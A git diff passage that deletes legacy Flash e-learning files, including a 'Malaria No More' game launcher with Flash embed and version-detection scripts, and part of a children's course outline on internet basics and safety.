--- a/Explore/elr/Other/O0002/Start_Page.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0002/efk_logo.png b/Explore/elr/Other/O0002/efk_logo.png
deleted file mode 100755
index e6ac617..0000000
--- a/Explore/elr/Other/O0002/efk_logo.png
+++ /dev/null
diff --git a/Explore/elr/Other/O0002/embedEndScreen.js b/Explore/elr/Other/O0002/embedEndScreen.js
deleted file mode 100755
index 51f0815..0000000
--- a/Explore/elr/Other/O0002/embedEndScreen.js
+++ /dev/null
@@ -1,15 +0,0 @@
-    var oeTags = '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"'
-    + 'width="1024" height="768"'
-    + 'codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">'
-    + '<param name="movie" value="EndScreen_V4.swf" /><param name="loop" value="false" /><param name="menu" value="false" /><param name="quality" value="high" /><param name="bgcolor" value="#ffffff" />'
-    + '<embed src="EndScreen_V4.swf" loop="false" menu="false" quality="high" bgcolor="#ffffff" '
-    + 'width="1024" height="768" name="Intro_Anim_final" align="middle"'
-    + 'play="true"'
-    + 'loop="false"'
-    + 'quality="high"'
-    + 'allowScriptAccess="sameDomain"'
-    + 'type="application/x-shockwave-flash"'
-    + 'pluginspage="http://www.macromedia.com/go/getflashplayer">'
-    + '<\/embed>'
-    + '<\/object>';
-    document.write(oeTags);   // embed the flash movie
diff --git a/Explore/elr/Other/O0002/embedswf.js b/Explore/elr/Other/O0002/embedswf.js
deleted file mode 100755
index 0c44014..0000000
--- a/Explore/elr/Other/O0002/embedswf.js
+++ /dev/null
@@ -1,23 +0,0 @@
-
-if(parent.hasRightVersion) {  // if we've detected an acceptable version
-    var oeTags = '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'
-    + 'width="1024" height="768"'
-    + 'codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">'
-    + '<param name="movie" value="Intro_Anim_final.swf" /><param name="loop" value="false" /><param name="menu" value="false" /><param name="quality" value="high" /><param name="bgcolor" value="#ffffff" />'
-    + '<embed src="Intro_Anim_final.swf" loop="false" menu="false" quality="high" bgcolor="#ffffff" '
-    + 'width="1024" height="768" name="Intro_Anim_final" align="middle"'
-    + 'play="true"'
-    + 'loop="false"'
-    + 'quality="high"'
-    + 'allowScriptAccess="sameDomain"'
-    + 'type="application/x-shockwave-flash"'
-    + 'pluginspage="http://www.macromedia.com/go/getflashplayer">'
-    + '<\/embed>'
-    + '<\/object>';
-    document.write(oeTags);   // embed the flash movie
-  } else {  // flash is too old or we can't detect the plugin
-    var alternateContent = 'Adobe Flsh Player 8 or latest version is required. Redirecting to Adobe Flash Player Download site.';
-    document.write(alternateContent);  // insert non-flash content
-	location.href="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash";
-
-  }
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0002/flash/EndScreen_V4.html b/Explore/elr/Other/O0002/flash/EndScreen_V4.html
deleted file mode 100755
index 403992e..0000000
--- a/Explore/elr/Other/O0002/flash/EndScreen_V4.html
+++ /dev/null
@@ -1,21 +0,0 @@
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<title>Malaria No More: Buzzz</title>
-<script>
-function fnCloseWindow()
-{
-	window.open("http://www.malarianomore.org/donate.php","","scrollbars=yes,resizable=yes, status=yes, menubar=yes,left=0, top=0, width=1024, height=768");
-	window.close();
-}
-</script>
-
-</head>
-
-<body bgcolor="#ffffff" topmargin=0 leftmargin=0>
-<!--url's used in the movie-->
-<!--text used in the movie-->
-<!-- saved from url=(0013)about:internet -->
-<script src="embedEndScreen.js"></script>
-</body>
-</html>
diff --git a/Explore/elr/Other/O0002/flash/EndScreen_V4.swf b/Explore/elr/Other/O0002/flash/EndScreen_V4.swf
deleted file mode 100755
index 0e978f3..0000000
--- a/Explore/elr/Other/O0002/flash/EndScreen_V4.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0002/flash/Interactiv_Tour_v1.swf b/Explore/elr/Other/O0002/flash/Interactiv_Tour_v1.swf
deleted file mode 100755
index 8d6cc7d..0000000
--- a/Explore/elr/Other/O0002/flash/Interactiv_Tour_v1.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0002/flash/Intro_Anim_final.swf b/Explore/elr/Other/O0002/flash/Intro_Anim_final.swf
deleted file mode 100755
index 241ea2f..0000000
--- a/Explore/elr/Other/O0002/flash/Intro_Anim_final.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0002/flash/Malaria_No_More.html b/Explore/elr/Other/O0002/flash/Malaria_No_More.html
deleted file mode 100755
index 588b8b0..0000000
--- a/Explore/elr/Other/O0002/flash/Malaria_No_More.html
+++ /dev/null
@@ -1,147 +0,0 @@
-<!-- saved from url=(0013)about:internet -->
-<html lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<title>Malaria No More: Buzzz</title>
-<script language="JavaScript" type="text/javascript">
-<!--
-// -----------------------------------------------------------------------------
-// Globals
-// Major version of Flash required
-var requiredMajorVersion = 8;
-// Minor version of Flash required
-var requiredMinorVersion = 0;
-// Revision of Flash required
-var requiredRevision = 0;
-// the version of javascript supported
-var jsVersion = 1.0;
-var hasRightVersion;
-// -----------------------------------------------------------------------------
-// -->
-</script>
-<script language="VBScript" type="text/vbscript">
-<!-- // Visual basic helper required to detect Flash Player ActiveX control version information
-Function VBGetSwfVer(i)
-  on error resume next
-  Dim swControl, swVersion
-  swVersion = 0
-  
-  set swControl = CreateObject("ShockwaveFlash.ShockwaveFlash." + CStr(i))
-  if (IsObject(swControl)) then
-    swVersion = swControl.GetVariable("$version")
-  end if
-  VBGetSwfVer = swVersion
-End Function
-// -->
-</script>
-<script language="JavaScript1.1" type="text/javascript">
-<!-- // Detect Client Browser type
-var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
-var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
-var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;
-jsVersion = 1.1;
-// JavaScript helper required to detect Flash Player PlugIn version information
-function JSGetSwfVer(i){
-	// NS/Opera version >= 3 check for Flash plugin in plugin array
-	if (navigator.plugins != null && navigator.plugins.length > 0) {
-		if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
-			var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
-      		var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
-			descArray = flashDescription.split(" ");
-			tempArrayMajor = descArray[2].split(".");
-			versionMajor = tempArrayMajor[0];
-			versionMinor = tempArrayMajor[1];
-			if ( descArray[3] != "" ) {
-				tempArrayMinor = descArray[3].split("r");
-			} else {
-				tempArrayMinor = descArray[4].split("r");
-			}
-      		versionRevision = tempArrayMinor[1] > 0 ? tempArrayMinor[1] : 0;
-            flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
-      	} else {
-			flashVer = -1;
-		}
-	}
-	// MSN/WebTV 2.6 supports Flash 4
-	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
-	// WebTV 2.5 supports Flash 3
-	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
-	// older WebTV supports Flash 2
-	else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
-	// Can't detect in all other cases
-	else {
-		
-		flashVer = -1;
-	}
-	return flashVer;
-} 
-// If called with no parameters this function returns a floating point value 
-// which should be the version of the Flash Player or 0.0 
-// ex: Flash Player 7r14 returns 7.14
-// If called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
-function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision) 
-{
- 	reqVer = parseFloat(reqMajorVer + "." + reqRevision);
-   	// loop backwards through the versions until we find the newest version	
-	for (i=25;i>0;i--) {	
-		if (isIE && isWin && !isOpera) {
-			versionStr = VBGetSwfVer(i);
-		} else {
-			versionStr = JSGetSwfVer(i);		
-		}
-		if (versionStr == -1 ) { 
-			return false;
-		} else if (versionStr != 0) {
-			if(isIE && isWin && !isOpera) {
-				tempArray         = versionStr.split(" ");
-				tempString        = tempArray[1];
-				versionArray      = tempString .split(",");				
-			} else {
-				versionArray      = versionStr.split(".");
-			}
-			versionMajor      = versionArray[0];
-			versionMinor      = versionArray[1];
-			versionRevision   = versionArray[2];
-			
-			versionString     = versionMajor + "." + versionRevision;   // 7.0r24 == 7.24
-			versionNum        = parseFloat(versionString);
-        	// is the major.revision >= requested major.revision AND the minor version >= requested minor
-			if ( (versionMajor > reqMajorVer) && (versionNum >= reqVer) ) {
-				return true;
-			} else {
-				return ((versionNum >= reqVer && versionMinor >= reqMinorVer) ? true : false );	
-			}
-		}
-	}	
-	return (reqVer ? false : 0.0);
-}
-
-function OpenEndScreen()
-{
-	var wo=window.open("EndScreen_V4.html","EndScreen_V4","scrollbars=no,resizable=no, status=no, menubar=no,left=0, top=0, width=1024, height=768");
-	wo.focus();
-}
-
-hasRightVersion = DetectFlashVer(requiredMajorVersion, requiredMinorVersion, requiredRevision);
-// -->
-
-function fnCloseWindow()
-{
-	window.open("http://www.malarianomore.org/donate.php","","scrollbars=yes,resizable=yes, status=yes, menubar=yes,left=0, top=0, width=1024, height=768");
-	window.close()
-}
-
-</script>
-</head>
-<body bgcolor="#ffffff" topmargin="0" leftmargin="0">
-<!--url's used in the movie-->
-<!--text used in the movie-->
-		<script src="embedSwf.js"></script>
-<noscript>
-	// Provide alternate content for browsers that do not support scripting
-	// or for those that have scripting disabled.
-  	Alternate HTML content should be placed here. This content requires the Macromedia Flash Player.
-  	<a href="http://www.macromedia.com/go/getflash/">Get Flash</a>  	
-</noscript>
-</body>
-</html>
diff --git a/Explore/elr/Other/O0002/flash/Malaria_No_More_V02.swf b/Explore/elr/Other/O0002/flash/Malaria_No_More_V02.swf
deleted file mode 100755
index 1b902b9..0000000
--- a/Explore/elr/Other/O0002/flash/Malaria_No_More_V02.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0002/flash/Start_Page.swf b/Explore/elr/Other/O0002/flash/Start_Page.swf
deleted file mode 100755
index 49a8b43..0000000
--- a/Explore/elr/Other/O0002/flash/Start_Page.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0002/flash/efk_logo.png b/Explore/elr/Other/O0002/flash/efk_logo.png
deleted file mode 100755
index e6ac617..0000000
--- a/Explore/elr/Other/O0002/flash/efk_logo.png
+++ /dev/null
diff --git a/Explore/elr/Other/O0002/flash/embedEndScreen.js b/Explore/elr/Other/O0002/flash/embedEndScreen.js
deleted file mode 100755
index 51f0815..0000000
--- a/Explore/elr/Other/O0002/flash/embedEndScreen.js
+++ /dev/null
@@ -1,15 +0,0 @@
-    var oeTags = '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"'
-    + 'width="1024" height="768"'
-    + 'codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">'
-    + '<param name="movie" value="EndScreen_V4.swf" /><param name="loop" value="false" /><param name="menu" value="false" /><param name="quality" value="high" /><param name="bgcolor" value="#ffffff" />'
-    + '<embed src="EndScreen_V4.swf" loop="false" menu="false" quality="high" bgcolor="#ffffff" '
-    + 'width="1024" height="768" name="Intro_Anim_final" align="middle"'
-    + 'play="true"'
-    + 'loop="false"'
-    + 'quality="high"'
-    + 'allowScriptAccess="sameDomain"'
-    + 'type="application/x-shockwave-flash"'
-    + 'pluginspage="http://www.macromedia.com/go/getflashplayer">'
-    + '<\/embed>'
-    + '<\/object>';
-    document.write(oeTags);   // embed the flash movie
diff --git a/Explore/elr/Other/O0002/flash/embedswf.js b/Explore/elr/Other/O0002/flash/embedswf.js
deleted file mode 100755
index 0c44014..0000000
--- a/Explore/elr/Other/O0002/flash/embedswf.js
+++ /dev/null
@@ -1,23 +0,0 @@
-
-if(parent.hasRightVersion) {  // if we've detected an acceptable version
-    var oeTags = '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'
-    + 'width="1024" height="768"'
-    + 'codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">'
-    + '<param name="movie" value="Intro_Anim_final.swf" /><param name="loop" value="false" /><param name="menu" value="false" /><param name="quality" value="high" /><param name="bgcolor" value="#ffffff" />'
-    + '<embed src="Intro_Anim_final.swf" loop="false" menu="false" quality="high" bgcolor="#ffffff" '
-    + 'width="1024" height="768" name="Intro_Anim_final" align="middle"'
-    + 'play="true"'
-    + 'loop="false"'
-    + 'quality="high"'
-    + 'allowScriptAccess="sameDomain"'
-    + 'type="application/x-shockwave-flash"'
-    + 'pluginspage="http://www.macromedia.com/go/getflashplayer">'
-    + '<\/embed>'
-    + '<\/object>';
-    document.write(oeTags);   // embed the flash movie
-  } else {  // flash is too old or we can't detect the plugin
-    var alternateContent = 'Adobe Flsh Player 8 or latest version is required. Redirecting to Adobe Flash Player Download site.';
-    document.write(alternateContent);  // insert non-flash content
-	location.href="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash";
-
-  }
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0002/flash/index.html b/Explore/elr/Other/O0002/flash/index.html
deleted file mode 100755
index 46f9df1..0000000
--- a/Explore/elr/Other/O0002/flash/index.html
+++ /dev/null
@@ -1,85 +0,0 @@
-<html>
-<head>
-<title>Malaria No More: Buzzz - Launch Page</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<style>
-Div.show{
-	display:block;	
-}
-Div.hide{
-	display:none;
-}
-</style>
-<script language="JavaScript" type="text/JavaScript">
-<!--
-var wo
-
-function MM_openBrWindow(theURL,winName,features) { 
-	wo= window.open(theURL,winName,features);
- if(wo!=null)
- {
-	var popup=document.getElementById("normal");
-	popup.className="show";
-	//popup.style.visibility='visible';
-	//popup.style.display='block';
-	wo.focus();
-	Start();
- }
- else
- {
-	var popup=document.getElementById("popupBlocked");
-	//popup.style.visibility='visible';
-	//popup.style.display='block';
-	popup.className="show";
- }
-
-
-}
- var timerID = 0;
-var tStart  = null;
-
-function UpdateTimer() {
-  wo.focus();
-  clearTimeout(timerID);
-  clockID  = 0;
-	
-}
-
-function Start() {
-
-   timerID  = setTimeout("UpdateTimer()", 100);
-}
-
-function Stop() {
-   if(timerID) {
-      clearTimeout(timerID);
-      timerID  = 0;
-   }
-
-   tStart = null;
-}
-
-
-//-->
-</script>
-</head>
-<body bgcolor="#FFFFFF" onLoad="MM_openBrWindow('Malaria_No_More.html','Malaria_No_More','top=0, left=0, width=1024,height=768,resizable=no')">
-
-<table width="100%" height="100%" border="0" align="center" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" border="0" cellspacing="0" cellpadding="0">     
-	   <tr>
-        <td valign="middle" >
-		<div align="center" id="normal" class='hide'>
-		<font color="#000000" size="3" face="Arial, Helvetica, sans-serif"><center>The game has been launched in a new window.</center></font>
-		</div>
-		<div id="popupBlocked" class='hide' style="padding-left:200; padding-right:200"><font color="#000000" size="3" face="Arial, Helvetica, sans-serif"><font color="#FF0000">The pop-up blocker on your computer may be preventing the game from opening in a new window. The game needs to open in a new window to start. (Pop-up blockers can be found in browsers, third-party toolbars, and anti-virus programs.)</font><br><br>To open a new window, click <a href="javascript:MM_openBrWindow('Malaria_No_More.html','Malaria_No_More','top=0, left=0, width=1024,height=768,resizable=no')">RETRY</a> or hold your keyboard CTRL key to access the game. If you return to this message or wish to allow automatic access to this game, please do the following:<br><br><li>Disable your pop-up blocker while playing this game.</li><li>Add this site to you pop-up blocker�s list of permitted pop-ups.</li> </font></div>
-		</td>		
-      </tr>
-    </table></td>
-  </tr>
-</table>
-</body>
-</html>
-
-
diff --git a/Explore/elr/Other/O0002/flash/launch.html b/Explore/elr/Other/O0002/flash/launch.html
deleted file mode 100755
index 9581487..0000000
--- a/Explore/elr/Other/O0002/flash/launch.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-</head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="90%" valign="top"> 
-            <div align="center">
-              <p>
-				<a target="_blank" href="http://marketing.pun.aptaracorp.com/elearning/demo_efk_mnm/index.html">
-				<img border="0" src="efk_logo.png" width="320" height="109"></a> 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                It is essential to keep this window open till the entire course 
-                runs.</font></p>
-				<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">* 
-				Please disable any pop up blocker for the course to run</font></p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-</html>
diff --git a/Explore/elr/Other/O0002/index.html b/Explore/elr/Other/O0002/index.html
deleted file mode 100755
index 46f9df1..0000000
--- a/Explore/elr/Other/O0002/index.html
+++ /dev/null
@@ -1,85 +0,0 @@
-<html>
-<head>
-<title>Malaria No More: Buzzz - Launch Page</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<style>
-Div.show{
-	display:block;	
-}
-Div.hide{
-	display:none;
-}
-</style>
-<script language="JavaScript" type="text/JavaScript">
-<!--
-var wo
-
-function MM_openBrWindow(theURL,winName,features) { 
-	wo= window.open(theURL,winName,features);
- if(wo!=null)
- {
-	var popup=document.getElementById("normal");
-	popup.className="show";
-	//popup.style.visibility='visible';
-	//popup.style.display='block';
-	wo.focus();
-	Start();
- }
- else
- {
-	var popup=document.getElementById("popupBlocked");
-	//popup.style.visibility='visible';
-	//popup.style.display='block';
-	popup.className="show";
- }
-
-
-}
- var timerID = 0;
-var tStart  = null;
-
-function UpdateTimer() {
-  wo.focus();
-  clearTimeout(timerID);
-  clockID  = 0;
-	
-}
-
-function Start() {
-
-   timerID  = setTimeout("UpdateTimer()", 100);
-}
-
-function Stop() {
-   if(timerID) {
-      clearTimeout(timerID);
-      timerID  = 0;
-   }
-
-   tStart = null;
-}
-
-
-//-->
-</script>
-</head>
-<body bgcolor="#FFFFFF" onLoad="MM_openBrWindow('Malaria_No_More.html','Malaria_No_More','top=0, left=0, width=1024,height=768,resizable=no')">
-
-<table width="100%" height="100%" border="0" align="center" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" border="0" cellspacing="0" cellpadding="0">     
-	   <tr>
-        <td valign="middle" >
-		<div align="center" id="normal" class='hide'>
-		<font color="#000000" size="3" face="Arial, Helvetica, sans-serif"><center>The game has been launched in a new window.</center></font>
-		</div>
-		<div id="popupBlocked" class='hide' style="padding-left:200; padding-right:200"><font color="#000000" size="3" face="Arial, Helvetica, sans-serif"><font color="#FF0000">The pop-up blocker on your computer may be preventing the game from opening in a new window. The game needs to open in a new window to start. (Pop-up blockers can be found in browsers, third-party toolbars, and anti-virus programs.)</font><br><br>To open a new window, click <a href="javascript:MM_openBrWindow('Malaria_No_More.html','Malaria_No_More','top=0, left=0, width=1024,height=768,resizable=no')">RETRY</a> or hold your keyboard CTRL key to access the game. If you return to this message or wish to allow automatic access to this game, please do the following:<br><br><li>Disable your pop-up blocker while playing this game.</li><li>Add this site to you pop-up blocker�s list of permitted pop-ups.</li> </font></div>
-		</td>		
-      </tr>
-    </table></td>
-  </tr>
-</table>
-</body>
-</html>
-
-
diff --git a/Explore/elr/Other/O0002/launch.html b/Explore/elr/Other/O0002/launch.html
deleted file mode 100755
index 9581487..0000000
--- a/Explore/elr/Other/O0002/launch.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-</head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="90%" valign="top"> 
-            <div align="center">
-              <p>
-				<a target="_blank" href="http://marketing.pun.aptaracorp.com/elearning/demo_efk_mnm/index.html">
-				<img border="0" src="efk_logo.png" width="320" height="109"></a> 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                It is essential to keep this window open till the entire course 
-                runs.</font></p>
-				<p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">* 
-				Please disable any pop up blocker for the course to run</font></p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-</html>
diff --git a/Explore/elr/Other/O0003/course.xml b/Explore/elr/Other/O0003/course.xml
deleted file mode 100755
index e4d9eca..0000000
--- a/Explore/elr/Other/O0003/course.xml
+++ /dev/null
@@ -1,554 +0,0 @@
-<Modules>
-<Transcript>Yes</Transcript>
-<AssessmentNavigation>No</AssessmentNavigation>
-<Help>Yes</Help>
-<Glossary>Yes</Glossary>
-<Resources>Yes</Resources>
-<Exit>Yes</Exit>
-
-<Module>
-	<ModuleName></ModuleName>
-	<Lessons>
-		<Lesson>
-			<LessonName>Intoduction</LessonName>
-			<Pages>
-				
-			        <Page>
-					<PageName>media/L01_p01.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/L01_p02.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>			
-			
-			</Pages>
-						
-		</Lesson>		
-
-
-		<!-- Lesson 2 starts-->
-
-		<Lesson>
-			<LessonName>What is the Internet? </LessonName>
-			<Pages>
-				
-			        <Page>
-					<PageName>media/L02_p01.swf</PageName>
-					<PageTitleName>Third </PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>SAnimation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/L02_p02.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>		
-				
-				<Page>
-					<PageName>media/L02_p03.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-				
-				<Page>
-					<PageName>media/L02_p04.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-				<Page>
-					<PageName>media/L02_p05.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-				<Page>
-					<PageName>media/L02_p06.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-				<Page>
-					<PageName>media/L02_p07.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-				<Page>
-					<PageName>media/L02_p08.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-				<Page>
-					<PageName>media/L02_p09.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-			
-			</Pages>
-
-
-						
-		</Lesson>	
-		
-	<!-- Lesson 3 starts-->
-		<Lesson>
-			<LessonName>Safety of Internet Usage</LessonName>
-			<Pages>
-				
-			        <Page>
-					<PageName>media/L03_p01.swf</PageName>
-					<PageTitleName>Third </PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>SAnimation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/L03_p02.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>		
-				
-				<Page>
-					<PageName>media/L03_p03.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>SStatic</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-				
-				<Page>
-					<PageName>media/L03_p04.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-				<Page>
-					<PageName>media/L03_p05.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-				<Page>
-					<PageName>media/L03_p06.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-				<Page>
-					<PageName>media/L03_p07.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-				<Page>
-					<PageName>media/L03_p08.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>SStatic</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-				<Page>
-					<PageName>media/L03_p09.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-				<Page>
-					<PageName>media/L03_p10.swf</PageName>
